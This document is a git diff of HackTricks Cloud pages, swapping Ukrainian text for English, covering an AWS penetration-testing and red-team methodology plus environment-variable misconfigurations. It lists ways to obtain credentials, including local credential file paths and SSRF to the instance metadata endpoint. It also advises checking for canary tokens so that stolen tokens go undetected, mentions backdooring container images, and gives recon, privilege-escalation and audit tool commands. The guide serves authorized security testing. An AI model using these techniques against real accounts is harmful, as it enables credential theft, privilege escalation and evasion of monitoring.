**Мета:** Керувати змінними та секретами, специфічними для середовища, які використовуються всіма проектами.
|
||||
**Purpose:** Manage environment-specific variables and secrets used by all the projects.
|
||||
|
||||
#### Конфігурації безпеки:
|
||||
#### Security Configurations:
|
||||
|
||||
- **Витік чутливих змінних**
|
||||
- **Неправильна конфігурація:** Префіксування чутливих змінних `NEXT_PUBLIC_`, що робить їх доступними на стороні клієнта.
|
||||
- **Ризик:** Витік API ключів, облікових даних бази даних або інших чутливих даних для публіки, що призводить до витоків даних.
|
||||
- **Чутливі вимкнені**
|
||||
- **Неправильна конфігурація:** Якщо вимкнено (за замовчуванням), можливо, прочитати значення згенерованих секретів.
|
||||
- **Ризик:** Збільшена ймовірність випадкового витоку або неавторизованого доступу до чутливої інформації.
|
||||
- **Exposing Sensitive Variables**
|
||||
- **Misconfiguration:** Prefixing sensitive variables with `NEXT_PUBLIC_`, making them accessible on the client side.
|
||||
- **Risk:** Exposure of API keys, database credentials, or other sensitive data to the public, leading to data breaches.
|
||||
- **Sensitive disabled**
|
||||
- **Misconfiguration:** If disabled (default) it's possible to read the values of the generated secrets.
|
||||
- **Risk:** Increased likelihood of accidental exposure or unauthorized access to sensitive information.
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,17 +2,17 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Основна інформація
|
||||
## Basic Information
|
||||
|
||||
**Перед початком пентестингу** середовища **AWS** є кілька **основних речей, які вам потрібно знати** про те, як працює AWS, щоб допомогти вам зрозуміти, що потрібно робити, як знаходити неправильні налаштування та як їх експлуатувати.
|
||||
**Before start pentesting** an **AWS** environment there are a few **basics things you need to know** about how AWS works to help you understand what you need to do, how to find misconfigurations and how to exploit them.
|
||||
|
||||
Концепції, такі як ієрархія організації, IAM та інші базові концепції, пояснюються в:
|
||||
Concepts such as organization hierarchy, IAM and other basic concepts are explained in:
|
||||
|
||||
{{#ref}}
|
||||
aws-basic-information/
|
||||
{{#endref}}
|
||||
|
||||
## Лабораторії для навчання
|
||||
## Labs to learn
|
||||
|
||||
- [https://github.com/RhinoSecurityLabs/cloudgoat](https://github.com/RhinoSecurityLabs/cloudgoat)
|
||||
- [https://github.com/BishopFox/iam-vulnerable](https://github.com/BishopFox/iam-vulnerable)
|
||||
@@ -22,49 +22,49 @@ aws-basic-information/
|
||||
- [http://flaws.cloud/](http://flaws.cloud/)
|
||||
- [http://flaws2.cloud/](http://flaws2.cloud/)
|
||||
|
||||
Інструменти для симуляції атак:
|
||||
Tools to simulate attacks:
|
||||
|
||||
- [https://github.com/Datadog/stratus-red-team/](https://github.com/Datadog/stratus-red-team/)
|
||||
- [https://github.com/sbasu7241/AWS-Threat-Simulation-and-Detection/tree/main](https://github.com/sbasu7241/AWS-Threat-Simulation-and-Detection/tree/main)
|
||||
|
||||
## Методологія AWS Pentester/Red Team
|
||||
## AWS Pentester/Red Team Methodology
|
||||
|
||||
Для аудиту середовища AWS дуже важливо знати: які **послуги використовуються**, що **експонується**, хто має **доступ** до чого, і як внутрішні AWS послуги та **зовнішні послуги** з'єднані.
|
||||
In order to audit an AWS environment it's very important to know: which **services are being used**, what is **being exposed**, who has **access** to what, and how are internal AWS services an **external services** connected.
|
||||
|
||||
З точки зору Red Team, **перший крок до компрометації середовища AWS** - це отримати деякі **облікові дані**. Ось кілька ідей, як це зробити:
|
||||
From a Red Team point of view, the **first step to compromise an AWS environment** is to manage to obtain some **credentials**. Here you have some ideas on how to do that:
|
||||
|
||||
- **Витоки** в github (або подібних) - OSINT
|
||||
- **Соціальна** інженерія
|
||||
- Повторне використання **паролів** (витоки паролів)
|
||||
- Вразливості в AWS-розміщених додатках
|
||||
- [**Server Side Request Forgery**](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html) з доступом до метаданих
|
||||
- **Читання локальних файлів**
|
||||
- `/home/USERNAME/.aws/credentials`
|
||||
- `C:\Users\USERNAME\.aws\credentials`
|
||||
- 3-ті сторони **зламані**
|
||||
- **Внутрішній** співробітник
|
||||
- [**Cognito** ](aws-services/aws-cognito-enum/index.html#cognito)облікові дані
|
||||
- **Leaks** in github (or similar) - OSINT
|
||||
- **Social** Engineering
|
||||
- **Password** reuse (password leaks)
|
||||
- Vulnerabilities in AWS-Hosted Applications
|
||||
- [**Server Side Request Forgery**](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html) with access to metadata endpoint
|
||||
- **Local File Read**
|
||||
- `/home/USERNAME/.aws/credentials`
|
||||
- `C:\Users\USERNAME\.aws\credentials`
|
||||
- 3rd parties **breached**
|
||||
- **Internal** Employee
|
||||
- [**Cognito** ](aws-services/aws-cognito-enum/index.html#cognito)credentials
|
||||
|
||||
Або шляхом **компрометації неавтентифікованої служби**, що експонується:
|
||||
Or by **compromising an unauthenticated service** exposed:
|
||||
|
||||
{{#ref}}
|
||||
aws-unauthenticated-enum-access/
|
||||
{{#endref}}
|
||||
|
||||
Або, якщо ви проводите **огляд**, ви можете просто **попросити облікові дані** з цими ролями:
|
||||
Or if you are doing a **review** you could just **ask for credentials** with these roles:
|
||||
|
||||
{{#ref}}
|
||||
aws-permissions-for-a-pentest.md
|
||||
{{#endref}}
|
||||
|
||||
> [!NOTE]
|
||||
> Після того, як ви змогли отримати облікові дані, вам потрібно знати, **кому належать ці облікові дані**, і **до чого вони мають доступ**, тому вам потрібно виконати деяку базову енумерацію:
|
||||
> After you have managed to obtain credentials, you need to know **to who do those creds belong**, and **what they have access to**, so you need to perform some basic enumeration:
|
||||
|
||||
## Базова енумерація
|
||||
## Basic Enumeration
|
||||
|
||||
### SSRF
|
||||
|
||||
Якщо ви знайшли SSRF на машині всередині AWS, перевірте цю сторінку для трюків:
|
||||
If you found a SSRF in a machine inside AWS check this page for tricks:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
|
||||
@@ -72,7 +72,8 @@ https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/
|
||||
|
||||
### Whoami
|
||||
|
||||
Однією з перших речей, які вам потрібно знати, є те, хто ви (в якому обліковому записі ви знаходитесь та інша інформація про середовище AWS):
|
||||
One of the first things you need to know is who you are (in where account you are in other info about the AWS env):
|
||||
|
||||
```bash
|
||||
# Easiest way, but might be monitored?
|
||||
aws sts get-caller-identity
|
||||
@@ -88,9 +89,10 @@ aws sns publish --topic-arn arn:aws:sns:us-east-1:*account id*:aaa --message aaa
|
||||
TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"`
|
||||
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/dynamic/instance-identity/document
|
||||
```
|
||||
|
||||
> [!CAUTION]
|
||||
> Зверніть увагу, що компанії можуть використовувати **canary tokens** для виявлення, коли **токени крадуться та використовуються**. Рекомендується перевірити, чи є токен canary token, перш ніж його використовувати.\
|
||||
> Для отримання додаткової інформації [**перевірте цю сторінку**](aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md#honeytokens-bypass).
|
||||
> Note that companies might use **canary tokens** to identify when **tokens are being stolen and used**. It's recommended to check if a token is a canary token or not before using it.\
|
||||
> For more info [**check this page**](aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md#honeytokens-bypass).
|
||||
|
||||
### Org Enumeration
|
||||
|
||||
@@ -100,30 +102,30 @@ aws-services/aws-organizations-enum.md
|
||||
|
||||
### IAM Enumeration
|
||||
|
||||
Якщо у вас достатньо прав, **перевірка привілеїв кожної сутності в обліковому записі AWS** допоможе вам зрозуміти, що ви та інші ідентичності можете робити і як **підвищити привілеї**.
|
||||
If you have enough permissions **checking the privileges of each entity inside the AWS account** will help you understand what you and other identities can do and how to **escalate privileges**.
|
||||
|
||||
Якщо у вас недостатньо прав для перерахунку IAM, ви можете **викрасти їх за допомогою брутфорсу**, щоб їх виявити.\
|
||||
Перевірте **як виконати нумерацію та брутфорс** в:
|
||||
If you don't have enough permissions to enumerate IAM, you can **steal bruteforce them** to figure them out.\
|
||||
Check **how to do the numeration and brute-forcing** in:
|
||||
|
||||
{{#ref}}
|
||||
aws-services/aws-iam-enum.md
|
||||
{{#endref}}
|
||||
|
||||
> [!NOTE]
|
||||
> Тепер, коли ви **маєте деяку інформацію про свої облікові дані** (і якщо ви червона команда, сподіваюся, ви **не були виявлені**). Час з'ясувати, які сервіси використовуються в середовищі.\
|
||||
> У наступному розділі ви можете перевірити деякі способи **перерахунку деяких загальних сервісів.**
|
||||
> Now that you **have some information about your credentials** (and if you are a red team hopefully you **haven't been detected**). It's time to figure out which services are being used in the environment.\
|
||||
> In the following section you can check some ways to **enumerate some common services.**
|
||||
|
||||
## Services Enumeration, Post-Exploitation & Persistence
|
||||
|
||||
AWS має вражаючу кількість сервісів, на наступній сторінці ви знайдете **базову інформацію, нумерацію** cheatsheets\*\*,\*\* як **уникнути виявлення**, отримати **постійність** та інші **післяексплуатаційні** трюки про деякі з них:
|
||||
AWS has an astonishing amount of services, in the following page you will find **basic information, enumeration** cheatsheets\*\*,\*\* how to **avoid detection**, obtain **persistence**, and other **post-exploitation** tricks about some of them:
|
||||
|
||||
{{#ref}}
|
||||
aws-services/
|
||||
{{#endref}}
|
||||
|
||||
Зверніть увагу, що вам **не потрібно** виконувати всю роботу **вручну**, нижче в цьому пості ви можете знайти **розділ про** [**автоматичні інструменти**](#automated-tools).
|
||||
Note that you **don't** need to perform all the work **manually**, below in this post you can find a **section about** [**automatic tools**](#automated-tools).
|
||||
|
||||
Більше того, на цьому етапі ви могли виявити **більше сервісів, доступних для неавтентифікованих користувачів**, ви можете мати можливість їх експлуатувати:
|
||||
Moreover, in this stage you might discovered **more services exposed to unauthenticated users,** you might be able to exploit them:
|
||||
|
||||
{{#ref}}
|
||||
aws-unauthenticated-enum-access/
|
||||
@@ -131,7 +133,7 @@ aws-unauthenticated-enum-access/
|
||||
|
||||
## Privilege Escalation
|
||||
|
||||
Якщо ви можете **перевірити принаймні свої власні права** на різні ресурси, ви могли б **перевірити, чи можете ви отримати додаткові права**. Вам слід зосередитися принаймні на правах, зазначених у:
|
||||
If you can **check at least your own permissions** over different resources you could **check if you are able to obtain further permissions**. You should focus at least in the permissions indicated in:
|
||||
|
||||
{{#ref}}
|
||||
aws-privilege-escalation/
|
||||
@@ -139,10 +141,10 @@ aws-privilege-escalation/
|
||||
|
||||
## Publicly Exposed Services
|
||||
|
||||
Під час перерахунку сервісів AWS ви могли знайти деякі з них, **які відкривають елементи в Інтернеті** (порти VM/контейнерів, бази даних або сервіси черг, знімки або кошики...).\
|
||||
Як pentester/red teamer, ви завжди повинні перевіряти, чи можете ви знайти **чутливу інформацію / вразливості** на них, оскільки вони можуть надати вам **додатковий доступ до облікового запису AWS**.
|
||||
While enumerating AWS services you might have found some of them **exposing elements to the Internet** (VM/Containers ports, databases or queue services, snapshots or buckets...).\
|
||||
As pentester/red teamer you should always check if you can find **sensitive information / vulnerabilities** on them as they might provide you **further access into the AWS account**.
|
||||
|
||||
У цій книзі ви повинні знайти **інформацію** про те, як знайти **відкриті сервіси AWS та як їх перевірити**. Щодо того, як знайти **вразливості у відкритих мережевих сервісах**, я б рекомендував вам **шукати** конкретний **сервіс** в:
|
||||
In this book you should find **information** about how to find **exposed AWS services and how to check them**. About how to find **vulnerabilities in exposed network services** I would recommend you to **search** for the specific **service** in:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/
|
||||
@@ -152,49 +154,52 @@ https://book.hacktricks.wiki/
|
||||
|
||||
### From the root/management account
|
||||
|
||||
Коли обліковий запис управління створює нові облікові записи в організації, у новому обліковому записі створюється **нова роль**, за замовчуванням називана **`OrganizationAccountAccessRole`**, і надається політика **AdministratorAccess** для **облікового запису управління** для доступу до нового облікового запису.
|
||||
When the management account creates new accounts in the organization, a **new role** is created in the new account, by default named **`OrganizationAccountAccessRole`** and giving **AdministratorAccess** policy to the **management account** to access the new account.
|
||||
|
||||
<figure><img src="../../images/image (171).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Отже, щоб отримати доступ як адміністратор до дочірнього облікового запису, вам потрібно:
|
||||
So, in order to access as administrator a child account you need:
|
||||
|
||||
- **Скомпрометувати** **управлінський** обліковий запис і знайти **ID** **дочірніх облікових записів** та **імена** **ролі** (за замовчуванням OrganizationAccountAccessRole), що дозволяє обліковому запису управління отримати доступ як адміністратор.
|
||||
- Щоб знайти дочірні облікові записи, перейдіть до розділу організацій у консолі aws або виконайте `aws organizations list-accounts`
|
||||
- Ви не можете знайти назви ролей безпосередньо, тому перевірте всі користувацькі політики IAM і шукайте будь-які, що дозволяють **`sts:AssumeRole` над раніше виявленими дочірніми обліковими записами**.
|
||||
- **Скомпрометувати** **принципала** в управлінському обліковому записі з **дозволом `sts:AssumeRole` над роллю в дочірніх облікових записах** (навіть якщо обліковий запис дозволяє будь-кому з управлінського облікового запису видавати себе, оскільки це зовнішній обліковий запис, специфічні дозволи `sts:AssumeRole` є необхідними).
|
||||
- **Compromise** the **management** account and find the **ID** of the **children accounts** and the **names** of the **role** (OrganizationAccountAccessRole by default) allowing the management account to access as admin.
|
||||
- To find children accounts go to the organizations section in the aws console or run `aws organizations list-accounts`
|
||||
- You cannot find the name of the roles directly, so check all the custom IAM policies and search any allowing **`sts:AssumeRole` over the previously discovered children accounts**.
|
||||
- **Compromise** a **principal** in the management account with **`sts:AssumeRole` permission over the role in the children accounts** (even if the account is allowing anyone from the management account to impersonate, as its an external account, specific `sts:AssumeRole` permissions are necessary).
|
||||
|
||||
## Automated Tools
|
||||
|
||||
### Recon
|
||||
|
||||
- [**aws-recon**](https://github.com/darkbitio/aws-recon): Багатопотоковий інструмент для збору **інвентаризації**, орієнтований на безпеку AWS, написаний на Ruby.
|
||||
- [**aws-recon**](https://github.com/darkbitio/aws-recon): A multi-threaded AWS security-focused **inventory collection tool** written in Ruby.
|
||||
|
||||
```bash
|
||||
# Install
|
||||
gem install aws_recon
|
||||
|
||||
# Recon and get json
|
||||
AWS_PROFILE=<profile> aws_recon \
|
||||
--services S3,EC2 \
|
||||
--regions global,us-east-1,us-east-2 \
|
||||
--verbose
|
||||
--services S3,EC2 \
|
||||
--regions global,us-east-1,us-east-2 \
|
||||
--verbose
|
||||
```
|
||||
- [**cloudlist**](https://github.com/projectdiscovery/cloudlist): Cloudlist є **інструментом для багатохмарного отримання активів** (імен хостів, IP-адрес) від постачальників хмар.
|
||||
- [**cloudmapper**](https://github.com/duo-labs/cloudmapper): CloudMapper допомагає вам аналізувати ваші середовища Amazon Web Services (AWS). Тепер він містить набагато більше функцій, включаючи аудит на предмет проблем безпеки.
|
||||
|
||||
- [**cloudlist**](https://github.com/projectdiscovery/cloudlist): Cloudlist is a **multi-cloud tool for getting Assets** (Hostnames, IP Addresses) from Cloud Providers.
|
||||
- [**cloudmapper**](https://github.com/duo-labs/cloudmapper): CloudMapper helps you analyze your Amazon Web Services (AWS) environments. It now contains much more functionality, including auditing for security issues.
|
||||
|
||||
```bash
|
||||
# Installation steps in github
|
||||
# Create a config.json file with the aws info, like:
|
||||
{
|
||||
"accounts": [
|
||||
{
|
||||
"default": true,
|
||||
"id": "<account id>",
|
||||
"name": "dev"
|
||||
}
|
||||
],
|
||||
"cidrs":
|
||||
{
|
||||
"2.2.2.2/28": {"name": "NY Office"}
|
||||
}
|
||||
"accounts": [
|
||||
{
|
||||
"default": true,
|
||||
"id": "<account id>",
|
||||
"name": "dev"
|
||||
}
|
||||
],
|
||||
"cidrs":
|
||||
{
|
||||
"2.2.2.2/28": {"name": "NY Office"}
|
||||
}
|
||||
}
|
||||
|
||||
# Enumerate
|
||||
@@ -224,7 +229,9 @@ python3 cloudmapper.py public --accounts dev
|
||||
python cloudmapper.py prepare #Prepare webserver
|
||||
python cloudmapper.py webserver #Show webserver
|
||||
```
|
||||
- [**cartography**](https://github.com/lyft/cartography): Cartography - це інструмент на Python, який об'єднує інфраструктурні активи та відносини між ними в інтуїтивно зрозумілому графічному вигляді, що працює на базі Neo4j.
|
||||
|
||||
- [**cartography**](https://github.com/lyft/cartography): Cartography is a Python tool that consolidates infrastructure assets and the relationships between them in an intuitive graph view powered by a Neo4j database.
|
||||
|
||||
```bash
|
||||
# Install
|
||||
pip install cartography
|
||||
@@ -233,15 +240,17 @@ pip install cartography
|
||||
# Get AWS info
|
||||
AWS_PROFILE=dev cartography --neo4j-uri bolt://127.0.0.1:7687 --neo4j-password-prompt --neo4j-user neo4j
|
||||
```
|
||||
- [**starbase**](https://github.com/JupiterOne/starbase): Starbase збирає активи та зв'язки з сервісів та систем, включаючи хмарну інфраструктуру, SaaS додатки, засоби безпеки та інше в інтуїтивно зрозумілому графічному вигляді, підтримуваному базою даних Neo4j.
|
||||
- [**aws-inventory**](https://github.com/nccgroup/aws-inventory): (Використовує python2) Це інструмент, який намагається **виявити всі** [**ресурси AWS**](https://docs.aws.amazon.com/general/latest/gr/glos-chap.html#resource), створені в обліковому записі.
|
||||
- [**aws_public_ips**](https://github.com/arkadiyt/aws_public_ips): Це інструмент для **отримання всіх публічних IP-адрес** (як IPv4/IPv6), пов'язаних з обліковим записом AWS.
|
||||
|
||||
- [**starbase**](https://github.com/JupiterOne/starbase): Starbase collects assets and relationships from services and systems including cloud infrastructure, SaaS applications, security controls, and more into an intuitive graph view backed by the Neo4j database.
|
||||
- [**aws-inventory**](https://github.com/nccgroup/aws-inventory): (Uses python2) This is a tool that tries to **discover all** [**AWS resources**](https://docs.aws.amazon.com/general/latest/gr/glos-chap.html#resource) created in an account.
|
||||
- [**aws_public_ips**](https://github.com/arkadiyt/aws_public_ips): It's a tool to **fetch all public IP addresses** (both IPv4/IPv6) associated with an AWS account.
|
||||
|
||||
### Privesc & Exploiting
|
||||
|
||||
- [**SkyArk**](https://github.com/cyberark/SkyArk)**:** Виявляє найбільш привілейованих користувачів у відсканованому середовищі AWS, включаючи AWS Shadow Admins. Він використовує powershell. Ви можете знайти **визначення привілейованих політик** у функції **`Check-PrivilegedPolicy`** в [https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1](https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1).
|
||||
- [**pacu**](https://github.com/RhinoSecurityLabs/pacu): Pacu - це відкритий **фреймворк експлуатації AWS**, розроблений для тестування безпеки в наступальних цілях проти хмарних середовищ. Він може **перераховувати**, знаходити **неправильні конфігурації** та **експлуатувати** їх. Ви можете знайти **визначення привілейованих дозволів** в [https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam\_\_privesc_scan/main.py#L134](https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134) всередині словника **`user_escalation_methods`**.
|
||||
- Зверніть увагу, що pacu **перевіряє лише ваші власні шляхи privesc** (не в межах облікового запису).
|
||||
- [**SkyArk**](https://github.com/cyberark/SkyArk)**:** Discover the most privileged users in the scanned AWS environment, including the AWS Shadow Admins. It uses powershell. You can find the **definition of privileged policies** in the function **`Check-PrivilegedPolicy`** in [https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1](https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1).
|
||||
- [**pacu**](https://github.com/RhinoSecurityLabs/pacu): Pacu is an open-source **AWS exploitation framework**, designed for offensive security testing against cloud environments. It can **enumerate**, find **miss-configurations** and **exploit** them. You can find the **definition of privileged permissions** in [https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam\_\_privesc_scan/main.py#L134](https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134) inside the **`user_escalation_methods`** dict.
|
||||
- Note that pacu **only checks your own privescs paths** (not account wide).
|
||||
|
||||
```bash
|
||||
# Install
|
||||
## Feel free to use venvs
|
||||
@@ -255,7 +264,9 @@ pacu
|
||||
> exec iam__enum_permissions # Get permissions
|
||||
> exec iam__privesc_scan # List privileged permissions
|
||||
```
|
||||
- [**PMapper**](https://github.com/nccgroup/PMapper): Principal Mapper (PMapper) - це скрипт і бібліотека для виявлення ризиків у конфігурації AWS Identity and Access Management (IAM) для облікового запису AWS або організації AWS. Він моделює різних IAM користувачів і ролей в обліковому записі як орієнтований граф, що дозволяє перевіряти **підвищення привілеїв** та альтернативні шляхи, якими зловмисник може отримати доступ до ресурсу або дії в AWS. Ви можете перевірити **дозволи, використані для знаходження шляхів privesc**, у файлах, що закінчуються на `_edges.py` в [https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing](https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing)
|
||||
|
||||
- [**PMapper**](https://github.com/nccgroup/PMapper): Principal Mapper (PMapper) is a script and library for identifying risks in the configuration of AWS Identity and Access Management (IAM) for an AWS account or an AWS organization. It models the different IAM Users and Roles in an account as a directed graph, which enables checks for **privilege escalation** and for alternate paths an attacker could take to gain access to a resource or action in AWS. You can check the **permissions used to find privesc** paths in the filenames ended in `_edges.py` in [https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing](https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing)
|
||||
|
||||
```bash
|
||||
# Install
|
||||
pip install principalmapper
|
||||
@@ -277,8 +288,10 @@ pmapper --profile dev query 'preset privesc *' # Get privescs with admins
|
||||
pmapper --profile dev orgs create
|
||||
pmapper --profile dev orgs display
|
||||
```
|
||||
- [**cloudsplaining**](https://github.com/salesforce/cloudsplaining): Cloudsplaining - це інструмент оцінки безпеки AWS IAM, який виявляє порушення принципу найменших привілеїв і генерує звіт у форматі HTML з пріоритетом ризику.\
|
||||
Він покаже вам потенційно **переповнені привілеї** клієнта, вбудовані та aws **політики** та які **принципи мають доступ до них**. (Він не тільки перевіряє на privesc, але й інші цікаві дозволи, рекомендовано використовувати).
|
||||
|
||||
- [**cloudsplaining**](https://github.com/salesforce/cloudsplaining): Cloudsplaining is an AWS IAM Security Assessment tool that identifies violations of least privilege and generates a risk-prioritized HTML report.\
|
||||
It will show you potentially **over privileged** customer, inline and aws **policies** and which **principals has access to them**. (It not only checks for privesc but also other kind of interesting permissions, recommended to use).
|
||||
|
||||
```bash
|
||||
# Install
|
||||
pip install cloudsplaining
|
||||
@@ -290,20 +303,24 @@ cloudsplaining download --profile dev
|
||||
# Analyze the IAM policies
|
||||
cloudsplaining scan --input-file /private/tmp/cloudsplaining/dev.json --output /tmp/files/
|
||||
```
|
||||
- [**cloudjack**](https://github.com/prevade/cloudjack): CloudJack оцінює облікові записи AWS на наявність **вразливостей перехоплення піддоменів** внаслідок розділених конфігурацій Route53 та CloudFront.
|
||||
- [**ccat**](https://github.com/RhinoSecurityLabs/ccat): Список репозиторіїв ECR -> Завантажити репозиторій ECR -> Встановити бекдор -> Завантажити з бекдором зображення
|
||||
- [**Dufflebag**](https://github.com/bishopfox/dufflebag): Dufflebag - це інструмент, який **шукає** через публічні знімки Elastic Block Storage (**EBS**) на наявність секретів, які могли бути випадково залишені.
|
||||
|
||||
### Аудит
|
||||
- [**cloudjack**](https://github.com/prevade/cloudjack): CloudJack assesses AWS accounts for **subdomain hijacking vulnerabilities** as a result of decoupled Route53 and CloudFront configurations.
|
||||
- [**ccat**](https://github.com/RhinoSecurityLabs/ccat): List ECR repos -> Pull ECR repo -> Backdoor it -> Push backdoored image
|
||||
- [**Dufflebag**](https://github.com/bishopfox/dufflebag): Dufflebag is a tool that **searches** through public Elastic Block Storage (**EBS) snapshots for secrets** that may have been accidentally left in.
|
||||
|
||||
### Audit
|
||||
|
||||
- [**cloudsploit**](https://github.com/aquasecurity/cloudsploit)**:** CloudSploit by Aqua is an open-source project designed to allow detection of **security risks in cloud infrastructure** accounts, including: Amazon Web Services (AWS), Microsoft Azure, Google Cloud Platform (GCP), Oracle Cloud Infrastructure (OCI), and GitHub (It doesn't look for ShadowAdmins).
|
||||
|
||||
- [**cloudsploit**](https://github.com/aquasecurity/cloudsploit)**:** CloudSploit від Aqua - це проект з відкритим кодом, призначений для виявлення **ризиків безпеки в облікових записах хмарної інфраструктури**, включаючи: Amazon Web Services (AWS), Microsoft Azure, Google Cloud Platform (GCP), Oracle Cloud Infrastructure (OCI) та GitHub (не шукає ShadowAdmins).
|
||||
```bash
|
||||
./index.js --csv=file.csv --console=table --config ./config.js
|
||||
|
||||
# Compiance options: --compliance {hipaa,cis,cis1,cis2,pci}
|
||||
## use "cis" for cis level 1 and 2
|
||||
```
|
||||
- [**Prowler**](https://github.com/prowler-cloud/prowler): Prowler - це інструмент з відкритим кодом для оцінки найкращих практик безпеки AWS, аудитів, реагування на інциденти, безперервного моніторингу, зміцнення та готовності до судово-медичної експертизи.
|
||||
|
||||
- [**Prowler**](https://github.com/prowler-cloud/prowler): Prowler is an Open Source security tool to perform AWS security best practices assessments, audits, incident response, continuous monitoring, hardening and forensics readiness.
|
||||
|
||||
```bash
|
||||
# Install python3, jq and git
|
||||
# Install
|
||||
@@ -314,11 +331,15 @@ prowler -v
|
||||
prowler <provider>
|
||||
prowler aws --profile custom-profile [-M csv json json-asff html]
|
||||
```
|
||||
- [**CloudFox**](https://github.com/BishopFox/cloudfox): CloudFox допомагає вам отримати ситуаційну обізнаність у незнайомих хмарних середовищах. Це інструмент командного рядка з відкритим вихідним кодом, створений для допомоги тестувальникам на проникнення та іншим фахівцям з наступальної безпеки у знаходженні вразливих шляхів атаки в хмарній інфраструктурі.
|
||||
|
||||
- [**CloudFox**](https://github.com/BishopFox/cloudfox): CloudFox helps you gain situational awareness in unfamiliar cloud environments. It’s an open source command line tool created to help penetration testers and other offensive security professionals find exploitable attack paths in cloud infrastructure.
|
||||
|
||||
```bash
|
||||
cloudfox aws --profile [profile-name] all-checks
|
||||
```
|
||||
- [**ScoutSuite**](https://github.com/nccgroup/ScoutSuite): Scout Suite - це інструмент для аудиту безпеки в мульти-хмарних середовищах з відкритим кодом, який дозволяє оцінювати безпекову позицію хмарних середовищ.
|
||||
|
||||
- [**ScoutSuite**](https://github.com/nccgroup/ScoutSuite): Scout Suite is an open source multi-cloud security-auditing tool, which enables security posture assessment of cloud environments.
|
||||
|
||||
```bash
|
||||
# Install
|
||||
virtualenv -p python3 venv
|
||||
@@ -329,16 +350,18 @@ scout --help
|
||||
# Get info
|
||||
scout aws -p dev
|
||||
```
|
||||
- [**cs-suite**](https://github.com/SecurityFTW/cs-suite): Cloud Security Suite (використовує python2.7 і виглядає непідтримуваним)
|
||||
- [**Zeus**](https://github.com/DenizParlak/Zeus): Zeus - потужний інструмент для найкращих практик зміцнення AWS EC2 / S3 / CloudTrail / CloudWatch / KMS (виглядає непідтримуваним). Він перевіряє лише стандартно налаштовані облікові дані в системі.
|
||||
|
||||
### Постійний аудит
|
||||
- [**cs-suite**](https://github.com/SecurityFTW/cs-suite): Cloud Security Suite (uses python2.7 and looks unmaintained)
|
||||
- [**Zeus**](https://github.com/DenizParlak/Zeus): Zeus is a powerful tool for AWS EC2 / S3 / CloudTrail / CloudWatch / KMS best hardening practices (looks unmaintained). It checks only default configured creds inside the system.
|
||||
|
||||
- [**cloud-custodian**](https://github.com/cloud-custodian/cloud-custodian): Cloud Custodian - це механізм правил для управління обліковими записами та ресурсами публічного хмари. Він дозволяє користувачам **визначати політики для забезпечення добре керованої хмарної інфраструктури**, яка є як безпечною, так і оптимізованою за витратами. Він консолідує багато з тих випадкових скриптів, які мають організації, в легкий і гнучкий інструмент з єдиними метриками та звітністю.
|
||||
- [**pacbot**](https://github.com/tmobile/pacbot)**: Policy as Code Bot (PacBot)** - це платформа для **безперервного моніторингу відповідності, звітності про відповідність та автоматизації безпеки для хмари**. У PacBot політики безпеки та відповідності реалізуються як код. Всі ресурси, виявлені PacBot, оцінюються відповідно до цих політик для оцінки відповідності політикам. Рамка **автоматичного виправлення** PacBot надає можливість автоматично реагувати на порушення політик, вживаючи попередньо визначені дії.
|
||||
- [**streamalert**](https://github.com/airbnb/streamalert)**:** StreamAlert - це безсерверна, **реальна** система аналізу даних, яка дозволяє вам **збирати, аналізувати та сповіщати** про дані з будь-якого середовища, **використовуючи джерела даних та логіку сповіщення, які ви визначаєте**. Команди комп'ютерної безпеки використовують StreamAlert для сканування терабайтів журналів щодня для виявлення інцидентів та реагування.
|
||||
### Constant Audit
|
||||
|
||||
- [**cloud-custodian**](https://github.com/cloud-custodian/cloud-custodian): Cloud Custodian is a rules engine for managing public cloud accounts and resources. It allows users to **define policies to enable a well managed cloud infrastructure**, that's both secure and cost optimized. It consolidates many of the adhoc scripts organizations have into a lightweight and flexible tool, with unified metrics and reporting.
|
||||
- [**pacbot**](https://github.com/tmobile/pacbot)**: Policy as Code Bot (PacBot)** is a platform for **continuous compliance monitoring, compliance reporting and security automation for the clou**d. In PacBot, security and compliance policies are implemented as code. All resources discovered by PacBot are evaluated against these policies to gauge policy conformance. The PacBot **auto-fix** framework provides the ability to automatically respond to policy violations by taking predefined actions.
|
||||
- [**streamalert**](https://github.com/airbnb/streamalert)**:** StreamAlert is a serverless, **real-time** data analysis framework which empowers you to **ingest, analyze, and alert** on data from any environment, u**sing data sources and alerting logic you define**. Computer security teams use StreamAlert to scan terabytes of log data every day for incident detection and response.
|
||||
|
||||
## DEBUG: Capture AWS cli requests
|
||||
|
||||
## DEBUG: Захоплення запитів AWS cli
|
||||
```bash
|
||||
# Set proxy
|
||||
